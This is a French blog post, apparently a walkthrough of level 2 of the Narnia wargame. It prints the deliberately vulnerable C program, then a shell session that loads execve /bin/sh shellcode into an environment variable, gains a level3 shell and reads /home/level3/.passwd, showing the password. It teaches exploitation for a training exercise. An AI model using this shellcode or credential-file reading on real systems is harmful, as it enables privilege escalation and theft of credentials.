Le niveau 2 est très didactique, le programme vulnérable est le suivant:
/*    This program is free software; you can redistribute it and/or modify    it under the terms of the GNU General Public License as published by    the Free Software Foundation; either version 2 of the License, or    (at your option) any later version.    This program is distributed in the hope that it will be useful,    but WITHOUT ANY WARRANTY; without even the implied warranty of    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the    GNU General Public License for more details.    You should have received a copy of the GNU General Public License    along with this program; if not, write to the Free Software    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA*/#include #include int main(){        int (*ret)();        if((ret=getenv("EGG"))==NULL){                    printf("Give me something to execute at the env-variable EGG\n");                exit(1);        }        printf("Trying to execute EGG!\n");        seteuid(1003);        ret();        return 0;}Nous avons donc un programme qui va exécuter simplement ce qui est situé dans une variable d'environnement. Nous avons tous entendu parler de shellcode. Cet exercice n'a pas vocation a être compliqué, il est surtout éducatif. L'exploitation après le saut:
Pour exploiter ce programme, le shellcode donné par wikipedia est amplement suffisant:evel2@narnia:/wargame$ EGG=`printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'`
level2@narnia:/wargame$ export EGG
level2@narnia:/wargame$ ./level2
Trying to execute EGG!
sh-3.1$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2)
sh-3.1$ cat /home/level3/.passwd
JJDngwzm
Et nous pouvons nous envoler vers le level3
 
Aucun commentaire:
Enregistrer un commentaire